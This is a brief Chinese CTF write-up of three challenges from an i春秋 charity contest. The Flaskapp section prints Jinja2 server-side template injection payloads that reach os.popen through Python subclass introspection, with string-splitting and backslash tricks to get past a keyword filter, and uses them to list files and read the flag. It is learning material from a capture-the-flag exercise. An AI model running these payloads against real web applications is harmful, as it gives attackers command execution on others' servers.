i春秋新春战疫公益赛复现

blaklist

以前做过BUU的强网杯随便注，不过当时的两种解法都不行，做了这道题算是又学会了一种方法，直接记录在BUU的博客里了：
https://blog.csdn.net/qq_44657899/article/details/103239145

Flaskapp

在decode界面可以进行进行注入，提交payload的base64编码即可。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

flag被过滤使用fla\g绕过。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

ezupload

这道题因为不知道蚁剑的虚拟终端所以没做出来。。